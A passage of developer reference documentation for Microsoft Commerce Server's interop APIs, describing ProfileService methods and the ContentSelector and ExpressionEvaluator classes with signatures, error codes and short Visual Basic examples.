[C#] This method returns an object that implements the IProfileObject interface.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The Errors property stores the collection of errors encountered in the last Profiles resource operation if an exception is thrown. For more information, see ProfileService.Errors.

Remarks

If the bReturnError parameter is set to true and the specified ProfileObject object is not found, the method throws a COMException with a value of E_PS_PROFILE_NOTEXISTS instead of returning an object reference.

If the bReturnError parameter is set to false and the specified ProfileObject object is not found, an empty ProfileObject object is returned.

Properties with the IsCached attribute set to false are not loaded by this method.

The Fields property of the returned ProfileObject object provides access to the profile properties.

Use the GetProfile method to retrieve a profile by specifying a primary key value and schema type.

Call the Initialize method before you use this ProfileService method.

[Visual Basic .NET]

Example

' oProfileService is a Commerce ProfileService object
' oProfileObject is a Commerce ProfileObject object

oProfileObject = oProfileService.GetProfileByKey("user_id", _
 "{74A38551-D6D8-FFD0-12BF-0A20C90DC8D1}", "UserObject")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsupslib (in mscsupslib.dll)

See Also

ProfileService Class

ProfileService.GetProfile

ProfileService.Initialize

ProfileObject Class

ProfileObject.Fields


ProfileService.GetProfileDefXML Method (PIA)

Use this method to retrieve the XML definition of the named profile schema type.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Profiles
…
Public Function GetProfileDefXML(
  bstrProfileName As String
  bNamesOnly As Boolean,
) As String
[C#]
using Microsoft.CommerceServer.Interop.Profiles;
…
public string GetProfileDefXML(
  string bstrProfileName,
  bool bNamesOnly
);

Parameters

[Visual Basic .NET]
bstrProfileName
A String that contains the name of the profile schema type.
bNamesOnly
A Boolean that determines whether the method returns the profile schema name or the profile schema definition. A value of False indicates to return the profile definition. A value of True indicates to return only the name of the profile schema.
[C#]
bstrProfileName
A string that contains the name of the profile schema type.
bNamesOnly
A bool that determines whether the method returns the profile schema name or the profile schema definition. A value of false indicates to return the profile definition. A value of true indicates to return only the name of the profile schema.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a String that contains the XML description.

[C#] This method returns a string containing the XML description.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The Errors property stores the collection of errors encountered in the last Profiles resource operation if an exception is thrown. For more information, see ProfileService.Errors.

Remarks

If the bstrProfileName parameter is empty and the bNamesOnly parameter is false, the XML descriptions of all the schema types in the catalog are returned.

If the bstrProfileName parameter is empty and the bNamesOnly parameter is true, the names of all the schema types in the catalog are returned.

Call the Initialize method before you use this ProfileService method.

[Visual Basic .NET]

Example

' sXML is a String
' oProfileService is a Commerce ProfileService object

sXML = oProfileService.GetProfileDefXML("UserObject", False)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsupslib (in mscsupslib.dll)

See Also

ProfileService Class

Profile XML Structures


ProfileService.Initialize Method (PIA)

Use this method to establish a connection to the Commerce Server Profiles store and populate the schema cache with all the schemas from the specified catalog.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Profiles
…
Public Sub Initialize(
  sConfigStore As String,
  Optional sCatalog As String
)
[C#]
using Microsoft.CommerceServer.Interop.Profiles;
…
public void Initialize(
  string sConfigStore,
  string sCatalog
);

Parameters

[Visual Basic .NET]
sConfigStore
A String that contains the connection string to the Profiles store.
sCatalog
An optional String that identifies the catalog. If this is specified it must be "Profile Definitions".
[C#]
sConfigStore
A string that contains the connection string to the Profiles store.
sCatalog
A string that identifies the catalog. The value of this parameter must be "Profile Definitions".

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The Errors property stores the collection of errors encountered in the last Profiles resource operation if an exception is thrown. For more information, see ProfileService.Errors.

Remarks

The Initialize method creates the necessary internal parameters and schema cache for profile management. A ProfileService object must connect to only one Profiles store. Multiple instances of the ProfileService object must be created to access multiple stores.

The connection string for the Profiles store may be obtained through the SiteConfigReadOnly object, or through the Commerce Server Manager console from the s_ProfileServiceConnectionString property under the key "Commerce Server Manager\Global Resources\Profiles(ComputerName SiteName)".

The connection string consists of the following mandatory tokens:

  • Data Source and/or Database [mandatory]. This attribute allows applications to specify the name of the underlying instance of SQL Server containing the Profiles database. At least one of these attributes must be specified. If both of these attributes are specified, the value of the Data Source attribute takes precedence.
  • Initial Catalog and/or Server [mandatory]. This attribute allows applications to specify the name of the Profiles database containing profile definitions. At least one of these attributes must be specified. If both of these attributes are specified, the value of the Initial Catalog attribute takes precedence.
  • User ID and/or UID [mandatory]. This attribute allows applications to specify the login name to connect to the Profiles database. At least one of these attributes must be specified. If both of these attributes are specified, the value of the User ID attribute takes precedence.

The following is a sample connection string containing these attributes:

   Data Source=servername;Initial Catalog=dbname;User ID=user

Spaces are not allowed around the delimiting semicolons, and a semicolon is not allowed in the names of any of the tokens.

Additionally, the following optional tokens are also supported by the Profiles resource:

  • Provider [optional]. Allows applications to specify the OLE DB provider to which the Profiles resource connects. This parameter exists for consistency with standard ADO connection strings. The default value and only acceptable value for this attribute is CSOLEDB.
  • Password [optional]. Allows applications to specify the password for the user specified by the User ID or UID attribute. The default value for this attribute is null.
  • PsObjectCacheSize [optional]. Allows applications to specify the size of the Profiles resource object cache. This cache stores ProfileObject objects instantiated by the CreateProfile and GetProfile methods. The default value for this attribute is 32768.
  • PsSchemaCacheSize [optional]. Allows applications to specify the size of the Profiles resource definition (schema) cache. After it is loaded, entries cannot be purged from the cache. The default value for this attribute is 64.
  • PsBackgroundThread [optional]. Allows applications to control the creation of a background thread to periodically clean up entries from the Profiles resource object cache. The acceptable values for this parameter are zero (0) or one (1). Zero turns off the background thread, and one turns it on. By default, the background thread is on.
  • PsObjectAgeoutPeriod [optional]. Allows applications to specify the age-out period for the Profiles resource cache entries. The age-out period is the amount of time an unreferenced object can remain in the cache without being discarded. The default value for this attribute is five minutes.

Notes

  • The Initial Catalog in the connection string is the database containing the Profiles store.
  • The sCatalog parameter in the Initialize method is the catalog containing the profile schema definitions, which is "Profile Definitions".
[Visual Basic .NET]

Example

' Connect using an explicit connection string.
' oProfileService is a Commerce ProfileService object

oProfileService.Initialize("Provider=CSOLEDB;Data Source=MyServer;" _
 & "Initial Catalog=Retail_commerce;User ID=user;Password=*****;" _
 & "PsSchemaCacheSize=128;PsObjectAgeoutPeriod=8", "Profile Definitions")

' Connect through the SiteConfigReadOnly object.
' sConn is a String
' oSCRO is an initialized SiteConfigReadOnly object

sConn = oSCRO.Fields("Profiles(ComputerName SiteName").Value _
 .Fields("s_ProfileServiceConnectionString").Value & "SCHCACHE=128"
oProfileService.Initialize(sConn, "Profile Definitions")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsupslib (in mscsupslib.dll)

See Also

ProfileService Class


ProfileService.Unbind Method (PIA)

Use this method to clear the credentials that are used to access ProfileObject objects in the underlying Profiles store.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Profiles
…
Public Sub Unbind ()
[C#]
using Microsoft.CommerceServer.Interop.Profiles;
…
public void Unbind ();

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The Errors property stores the collection of errors encountered in the last Profiles resource operation if an exception is thrown. For more information, see ProfileService.Errors.

Remarks

This method clears the credentials used to access ProfileObject objects in the underlying store. Any new profiles or modifications will not be bound to a specific user. Use this method to gain access to existing ProfileObject objects that are not bound to a specific user.

Use the Bind method to set the credentials to access ProfileObject objects that are bound to a specific user.

Call the Initialize method before you use this ProfileService method.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsupslib (in mscsupslib.dll)

See Also

ProfileService Class

ProfileService.BindAs


ProfileService Properties (PIA)

Properties

Property | Type | Description
Errors | ADODB26Lib.Errors | Stores the collection of errors encountered in the last Profiles resource operation. This property is read-only.


ProfileService.Errors Property (PIA)

[Visual Basic .NET] The Errors property is a read-only Errors object that stores the collection of errors encountered in the last Profiles resource operation.

[C#] The Errors property is a read-only ADODB26Lib.Errors object that stores the collection of errors encountered in the last Profiles resource operation.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Profiles
Imports ADODB26Lib     ‘ for Errors
…
Public ReadOnly Property Errors As Errors
[C#]
using Microsoft.CommerceServer.Interop.Profiles;
using ADODB26Lib;                              //For Errors
…
public Errors Errors {get; }

Property Value

This property returns the collection of errors encountered in the last Profiles resource operation.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The Errors property collects all errors generated by a ProfileService object operation, including those that emerge from the underlying technology.

If the error is coming from the underlying data store providers (such as OLE DB Provider for SQL Server and OLE DB Provider for Microsoft Directory Services) it is passed; for example, in some cases only the Number and Source properties of the Errors object are set.

Call the Initialize method before you access the Errors property.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsupslib (in mscsupslib.dll)

See Also

ProfileObject Class

ProfileService Class


Microsoft.CommerceServer.Interop.Targeting

The following table lists and describes the classes contained in the Microsoft.CommerceServer.Interop.Targeting namespace.

Class | Description
ContentSelector | Allows specification and retrieval of page content.
ExpressionEvaluator | Allows selection and evaluation of one or more expressions against a specified context.
ExpressionStore | Provides methods to create, save, modify, and retrieve expressions.
ListManager | Provides methods to create, destroy, manage, and manipulate lists.


ContentSelector Class (PIA)

Use this object to select one or more items of content for display on a Web page. The content may come from customer campaigns (ads, discounts), or from custom applications built on the Content Selection Framework (CSF).

If you want to select custom content for display on your Web pages, you can use the CSF by instantiating and using ContentSelector objects. ContentSelector objects invoke different CSF pipelines to select different types of content based on the dictionary passed to the GetContent method.

Use the Microsoft Commerce 2000 CSF Pipeline Component 1.0 Type Library to access this object.

The ContentSelector object implements all of the methods and properties of the Dictionary object. Only the method not inherited from the Dictionary object is shown in the following table.

Methods

Method | Description
GetContent | Executes a Content Selection pipeline. The pipeline selects one or more content items. The selected content items are stored in a SimpleList object, formatted as strings of HTML or XML.

Remarks

The Context dictionary maintains a reference to a ContentSelector object in its ContextProfile entry. This ContentSelector object is used to pass arbitrary properties to the pipeline components. Arbitrary properties can be associated with the ContentSelector object because it inherits from the Dictionary object.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: csfcomplib (in csfcomplib.dll)


ContentSelector Methods (PIA)

Methods

Method | Description
GetContent | Executes a Content Selection pipeline. The pipeline selects one or more content items. The selected content items are stored in a SimpleList object, formatted as strings of HTML or XML.


ContentSelector.GetContent Method (PIA)

Use this method to execute a Content Selection pipeline and return the resulting content in a SimpleList object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop  ‘ for IDictionary & ISimpleList
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public Function GetContent(
 dictCSFContext As IDictionary,
) As ISimpleList
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
using Microsoft.CommerceServer.Interop;    //For ISimpleList & IDictionary
…
public ISimpleList GetContent(
  IDictionary pdictCSFContext
);

Parameters

pdictCSFContext
The IDictionary interface to a global context dictionary with a configuration for an instance of a CSF application. The dictionary contains global objects and configurations used by the ContentSelector object. At a minimum, the dictionary must contain the Pipeline key so that the ContentSelector object knows which pipeline to execute.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an ISimpleList interface to a SimpleList object containing the selected content. The elements of the SimpleList object are HTML or XML strings.

[C#] This method returns an ISimpleList interface to a SimpleList object containing the selected content. The elements of the SimpleList object are HTML or XML strings.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Note

  • This method can also return an error returned by the invoked pipeline.

Remarks

The ContentSelector object reads the Pipeline key of the passed in Dictionary object to find the pipeline object to invoke. It copies the values of the dictionary passed to it into a new dictionary. The new dictionary is passed to the pipeline as the pipe Context dictionary. An empty dictionary is created and passed as the Order dictionary for the pipeline. The ContentSelector object adds a reference to itself under the ContextProfile key in the pipe Context dictionary.

When pipeline execution has completed, the ContentSelector object looks for the key formatted in the Order dictionary, and returns the list assigned to that key as the return value. If the list assigned to the formatted key does not exist, an empty list is created and returned. The self-reference in the pipe Context dictionary is removed to prevent a circular reference. References to the Order and Context dictionaries are added to the ContentSelector object before it returns, giving the page access to the values written into those dictionaries by the pipeline.

[Visual Basic .NET]

Example

For example code, see the sample in ContentSelector Object.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: csfcomplib (in csfcomplib.dll)

See Also

CacheManager Class

Content Selection Pipelines

ContentSelector Class


ExpressionEvaluator Class (PIA)

Use this object to evaluate one or more expressions against a specified context. In addition, use this object to parse and evaluate user-defined expressions written as Extensible Markup Language (XML) fragments.

Methods

Method | Description
Connect | Establishes communication between the ExpressionEvaluator object and an expression store.
CreateEvalContext | Creates a new ExprEvalContext object in the context cache.
Eval | Evaluates an expression.
EvalInContext | Evaluates an expression in a context previously loaded into the context cache.
EvalXML | Evaluates the specified XML text as an expression.
FlushAll | Removes all expressions from the expression cache.
FlushExpr | Removes the specified expression from the expression cache.
LoadAll | Reads all expressions from the expression store and loads them into the expression cache.
LoadExpr | Reads the specified expression from the expression store and loads it into the expression cache.
ParseXML | Parses the specified XML text to determine whether it represents a valid expression.

Properties

Property | Type | Description
ExprCount | Integer | Retrieves the number of expressions loaded into the expression cache. This property is read-only.

Remarks

Expressions are stored in a database referred to as the Expression Store and accessed through an ExpressionStore object. When it is created, the ExpressionEvaluator object initializes an expression cache and a context cache. Expressions must be compiled and loaded into the expression cache before being evaluated. To improve evaluation performance, use the LoadExpr or LoadAll method to preload expressions into the expression cache.

An expression is evaluated against data contained in a set of profiles. The profiles may be ProfileObject objects, or Dictionary objects. The set of profiles is referred to as an evaluation context. If an evaluation context will be used across multiple expressions, create a stored context in the context cache using the CreateEvalContext method to increase efficiency.

The Connect method must be called before loading or evaluating expressions.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: exprarchlib (in exprarchlib.dll)

See Also

Expression XML Structures

ExpressionStore Object

ProfileObject Object


ExpressionEvaluator Methods (PIA)

Methods

Method | Description
Connect | Establishes communication between the ExpressionEvaluator object and an expression store.
CreateEvalContext | Creates a new ExprEvalContext object in the context cache.
Eval | Evaluates an expression.
EvalInContext | Evaluates an expression in a context previously loaded into the context cache.
EvalXML | Evaluates the specified XML text as an expression.
FlushAll | Removes all expressions from the expression cache.
FlushExpr | Removes the specified expression from the expression cache.
LoadAll | Reads all expressions from the expression store and loads them into the expression cache.
LoadExpr | Reads the specified expression from the expression store and loads it into the expression cache.
ParseXML | Parses the specified XML text to determine whether it represents a valid expression.


ExpressionEvaluator.Connect Method (PIA)

Use this method to establish communication with an expression store.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public Sub Connect(
 vConnectInfo As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
…
public void Connect(
 object vConnectInfo
);

Parameters

[Visual Basic .NET]
vConnectInfo
An Object that describes the expression store connection information. This may be a String containing the connection information or a reference to an existing ExpressionStore object.
[C#]
vConnectInfo
An object that describes the expression store connection data. This may be a string containing the connection information or an existing ExpressionStore object.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
&H8110001F | Invalid connection
&H8110001E | Specified database does not contain a valid expression store
&H8110000D | No connection string specified
&H8110000F | Insufficient access permissions on the expression store database
[C#]

The following table shows the custom COM errors that COMException can wrap.

Value | Description
0x8110001F | Invalid connection
0x8110001E | Specified database does not contain a valid expression store
0x8110000D | No connection string specified
0x8110000F | Insufficient access permissions on the expression store database

Remarks

If a connection string is passed as the input parameter, the ExpressionEval object creates an ExpressionStore object that uses the connection string to access the expression store. Upon destruction, the ExpressionEval object destroys the ExpressionStore object.

The connection string for the expression store may be obtained through the SiteConfigReadOnly object or through the Commerce Server Manager console from the s_BizDataStoreConnectionString property under the keywords "Commerce Server Manager\Global Resources\Profiles".

The Connect method must be used before loading or evaluating expressions.

The ParseXML method and the flush methods may be used without connecting to an expression store.

[Visual Basic .NET]

Example

' Connect through an existing ExpressionStore object.
oExpressionEval.Connect (oExpressionStore)

' Connect using an explicit connection string.
oExpressionEval.Connect ("Provider=SQLOLEDB;Data Source=server;" _
& "Initial Catalog=Retail_commerce;Integrated Security='SSPI'")

' Connect using a string retrieved from the SiteConfigReadOnly object.
' sConn is a String, oSCRO is an initialized SiteConfigReadOnly object.
sConn = oSCRO.Fields("Biz Data Service").Value _
 .Fields("s_BizDataStoreConnectionString").Value
oExpressionEval.Connect (sConn)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: exprarchlib (in exprarchlib.dll)

See Also

ExpressionEvaluatorClass

ExpressionStoreClass

ExpressionStore.Connect

SiteConfigReadOnlyClass


ExpressionEvaluator.CreateEvalContext Method (PIA)

Use this method to create a new ExprEvalContext object and place it into the context cache. This allows evaluation of multiple expressions against the same set of profile objects in the most efficient manner possible.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public Function CreateEvalContext(
 pDictObjs As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
using Microsoft.CommerceServer.Interop;      //For IDictionary
…
public IExprEvalContext CreateEvalContext(
 IDictionary pDictObjs
);

Parameters

[Visual Basic .NET]
pDictObjs
A Dictionary object that contains the set of profiles to be cached.
[C#]
pDictObjs
The IDictionary interface of a Dictionary object that contains the set of profiles to be cached.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns the newly created ExprEvalContext object.

[C#] This method returns the IExprEvalContext interface of the newly created ExprEvalContext object

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The CreateEvalContext method creates an ExprEvalContext object that uniquely identifies a new evaluation context and stores the object in the context cache. Use the EvalInContext method to evaluate multiple expressions within the context defined by the ExprEvalContext object. This process is more efficient than using the Eval method which generates and destroys a new context for each expression evaluated.

A context is a set of profiles containing data to evaluate expressions against. Profiles may be ProfileObject objects or Dictionary objects. Initially only references to the profile objects are held in the context cache. During evaluation, when property values are read from the profiles, the property values may themselves be held in the cache for faster access during subsequent evaluations.

Caution

  • The state of the profile objects should not be externally changed during the lifetime of the ExprEvalContext object; doing so leads to nondeterministic evaluation results.
[Visual Basic .NET]

Example

' dictUser1, dictAddress1, & dictProfiles are Dictionary objects
' create 2 profiles
dictUser1.firstName = "Joe"
dictUser1.lastName = "User"
dictAddress1.city = "Somewhere"
dictAddress1.state = "WA"

' add the profiles to the context Dictionary
dictProfiles.User = dictUser1
dictProfiles.Address = dictAddress1

' create the evaluation context
oExprEvalContext = oExpressionEval.CreateEvalContext(dictProfiles)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: exprarchlib (in exprarchlib.dll)

See Also

ExpressionEvaluatorClass

ExpressionEvaluator.EvalInContext


ExpressionEvaluator.Eval Method (PIA)

Use this method to evaluate an expression.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public Function Eval(
 nExprID As Integer,
 pDictObjs As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
using Microsoft.CommerceServer.Interop;      //For IDictionary
…
public object Eval(
 int nExprID,
 IDictionary pDictObjs
);

Parameters

[Visual Basic .NET]
nExprID
An Integer that contains the unique identifier for the expression in the expression store.
pDictObjs
A Dictionary object that contains a set of profiles.
[C#]
nExprID
An int that contains the unique identifier for the expression in the expression store.
pDictObjs
The IDictionary interface of a Dictionary object that contains a set of profiles.

Return Values

[Visual Basic .NET] This method returns an Object indicating the result of evaluating the expression in the specified context. The result may be True, False, or Null. Null indicates that the expression could not be evaluated.

[C#] This method returns an object indicating the result of evaluating the expression in the given context.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
&H8110001F | Invalid connection
&H8110000A | Invalid expression ID specified
&H8110000D | No connection string specified
&H81100012 | Could not find the specified expression ID, nExprID, in the expression store
[C#]

The following table shows the custom COM errors, and the standard COM errors with special meanings, that COMException can wrap.

Value | Description
0x8110001F | Invalid connection
0x8110000A | Invalid expression ID specified
0x8110000D | No connection string specified
0x81100012 | Could not find the specified expression ID, nExprID, in the expression store

Remarks

Expressions must be precompiled and loaded into the expression cache before being evaluated. The Eval method first checks the expression cache for the expression, and if it is not found, loads the expression from the expression store. Use the LoadExpr or LoadAll method to preload an expression into the expression cache and improve evaluation performance.

An expression is evaluated against data contained in a set of profiles. This set of profiles is referred to as an evaluation context. A new evaluation context is generated by the Eval method using the Dictionary object. The Eval method discards the new context after completing the evaluation. This process is not efficient if many expressions must be evaluated against the same context.

If an evaluation context will be used across multiple expressions, create a context in the context cache using the CreateEvalContext method. Use the EvalInContext method to evaluate expressions in this new common context.

The Connect method must be called before using the Eval method.

[Visual Basic .NET]

Example

' dictUser1, dictAddress1, & dictProfiles are Dictionary objects
' create 2 profiles
dictUser1.firstName = "Joe"
dictUser1.lastName = "User"
dictAddress1.city = "Somewhere"
dictAddress1.state = "WA"

' add the profiles to the context Dictionary
dictProfiles.User = dictUser1
dictProfiles.Address = dictAddress1

' evaluate the expression, vResult is an Object
oResult = oExpressionEval.Eval(2134, dictProfiles)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: exprarchlib (in exprarchlib.dll)

See Also

ExpressionEvaluatorClass

ExpressionEvaluator.Connect

ExpressionEvaluator.CreateEvalContext

ExpressionEvaluator.EvalInContext

ExpressionEvaluator.LoadExpr


ExpressionEvaluator.EvalInContext Method (PIA)

Use this method to evaluate an expression against a pre-established context stored in the context cache.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public Function EvalInContext(
 nExprID As Integer,
 pContext As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
…
public object EvalInContext(
 int nExprID,
 IExprEvalContext pContext
);

Parameters

[Visual Basic .NET]
nExprID
An Integer that contains the unique identification of the expression in the expression store.
pContext
An ExprEvalContext object that identifies the specific context for this evaluation.
[C#]
nExprID
An int that contains the unique identification of the expression in the expression store.
pContext
An IExprEvalContext interface of an ExprEvalContext object that identifies the specific context for this evaluation.

Return Values

This method returns an Object indicating the result of the expression evaluated in the specified context. This result may be True, False, or Null. Null indicates that the expression could not be evaluated.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
&H8110001F | Invalid connection
&H8110000A | Invalid expression ID specified
&H8110000D | No connection string specified
&H8110001D | Invalid ExprEvalContext object
&H81100012 | Could not find the specified expression ID, nExprID, in the expression store
[C#]

The following table shows the custom COM errors, and the standard COM errors with special meanings, that COMException can wrap.

Value | Description
0x8110001F | Invalid connection
0x8110000A | Invalid expression ID specified
0x8110000D | No connection string specified
0x8110001D | Invalid ExprEvalContext object
0x81100012 | Could not find the specified expression ID, nExprID, in the expression store

Remarks

The Eval method creates and discards an evaluation context for every evaluation. Evaluating against a stored context optimizes performance when multiple expressions need to be evaluated in the same context. Create the context for evaluation using the CreateEvalContext method.

Expression results are also stored in the context cache. If the result of a particular expression is requested multiple times from the same ExprEvalContext object using the EvalInContext method, the result is retrieved from the cache rather than by re-evaluating the expression, further increasing efficiency.

Caution

  • The state of the profile objects that comprise the context should not be externally changed during the lifetime of the ExprEvalContext object; doing so leads to nondeterministic evaluation results.

The Connect method must be called before using the EvalInContext method.

[Visual Basic .NET]

Example

' oEvalContext is an ExprEvalContext object
' oResult is an Object
oResult = oExpressionEval.Eval(2134, oEvalContext)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: exprarchlib (in exprarchlib.dll)

See Also

ExpressionEvaluatorClass

ExpressionEvaluator.Connect

ExpressionEvaluator.CreateEvalContext

ExpressionEvaluator.Eval

ExpressionEvaluator.LoadExpr


ExpressionEvaluator.EvalXML Method (PIA)

Use this method to evaluate an expression represented as an Extensible Markup Language (XML) fragment.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public Function EvalXML(
 bstrXMLExpr As String,
 DictObjs As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
using Microsoft.CommerceServer.Interop;      //For IDictionary
…
public object EvalXML(
 string bstrXMLExpr,
 IDictionary pDictObjs
);

Parameters

[Visual Basic .NET]
bstrXMLExpr
A String that contains the XML fragment to be evaluated.
DictObjs
A Dictionary object that contains a set of profiles.
[C#]
bstrXMLExpr
A string that contains the XML fragment to be evaluated.
pDictObjs
The IDictionary interface of a Dictionary object that contains a set of profiles.

Return Values

This method returns an Object indicating the result of evaluating the expression is contained in the bstrXMLExpr parameter. The result may be True, False, or Null. The Null value indicates the expression could not be evaluated.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
&H81100018 | Argument data type information missing from expression, or unrecognized argument data type encountered in expression
&H81100022 | Invalid expression argument value, or impossible conversion
&H81100016 | Invalid clause encountered
&H8110001F | Invalid connection
&H81100017 | Operator missing, unrecognized operator encountered, or type mismatch
&H81100015 | Term type missing, or unrecognized term type encountered
&H81100014 | Unrecognized XML element encountered
&H8110000D | No connection string specified
&H81100013 | XML DOM object parsing error
[C#]

The following table shows the custom COM errors that COMException can wrap.

Value | Description
0x81100018 | Argument data type information missing from expression, or unrecognized argument data type encountered in expression
0x81100022 | Invalid expression argument value, or impossible conversion
0x81100016 | Invalid clause encountered
0x8110001F | Invalid connection
0x81100017 | Operator missing, unrecognized operator encountered, or type mismatch
0x81100015 | Term type missing, or unrecognized term type encountered
0x81100014 | Unrecognized XML element encountered
0x8110000D | No connection string specified
0x81100013 | XML DOM object parsing error

Remarks

The XML is parsed before being evaluated. For information on the XML format, see Expression XML Structures.

Expressions evaluated using the EvalXML method are not persistent; that is, they are not stored in the expression store or loaded into the expression cache. Use the Eval method to evaluate persistent expressions.

A new ExprEvalContext object is created and then discarded for each XML fragment that is evaluated.

The Connect method must be called before using the EvalXML method.

[Visual Basic .NET]

Example

' sXMLExpr is a string.
' Note that this string is not formatted properly with respect to
' quotation marks or continuation in order to increase readability.

strXMLExpr = "<CLAUSE OPER="equal">
                  <PROPERTY ID="User.firstName" TYPE="string" />
                  <IMMED-VAL TYPE="string">Jill</IMMED-VAL>
              </CLAUSE>"

' oResult is an Object
' dictProfiles is a Dictionary object containing a set of profiles
oResult = oExpressionEval.EvalXML(sXMLExpr, dictProfiles)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: exprarchlib (in exprarchlib.dll)

See Also

Expression Recordset

Expression XML Structures

ExpressionEvaluatorClass

ExpressionEvaluator.Connect

ExpressionEvaluator.Eval

ExpressionEvaluator.ParseXML


ExpressionEvaluator.FlushAll Method (PIA)

Use this method to remove all expressions from the expression cache.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public Sub FlushAll()
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
…
public void FlushAll();

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The FlushAll method removes all expressions from the expression cache and resets the read-only ExprCount property to zero (0).

Use the FlushExpr method to remove a specific expression from the expression cache.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: exprarchlib (in exprarchlib.dll)

See Also

ExpressionEvaluatorClass

ExpressionEvaluator.ExprCount

ExpressionEvaluator.FlushExpr

ExpressionEvaluator.LoadAll

ExpressionEvaluator.LoadExpr


ExpressionEvaluator.FlushExpr Method (PIA)

Use this method to remove the specified expression from the expression cache.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public Sub FlushExpr(
 nExprID As Integer
)
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
…
public void FlushExpr(
 int nExprID
);

Parameters

[Visual Basic .NET]
nExprID
An Integer that contains the identifier of the expression to be removed from the expression cache.
[C#]
nExprID
A int that contains the identifier of the expression to be removed from the expression cache.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
&H8110000A | Invalid expression ID specified
[C#]

The following table shows the custom COM errors that COMException can wrap.

Value | Description
0x8110000A | Invalid expression ID specified

Remarks

The FlushExpr method removes the specified expression from the expression cache and decrements the read-only ExprCount property by one (1).

Use the FlushAll method to remove all expressions from the expression cache.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: exprarchlib (in exprarchlib.dll)

See Also

ExpressionEvaluatorClass

ExpressionEvaluator.ExprCount

ExpressionEvaluator.FlushAll

ExpressionEvaluator.LoadAll

ExpressionEvaluator.LoadExpr


ExpressionEvaluator.LoadAll Method (PIA)

Use this method to pre-compile all expressions in the expression store. Each expression that pre-compiles correctly is loaded into the expression cache.

Definition

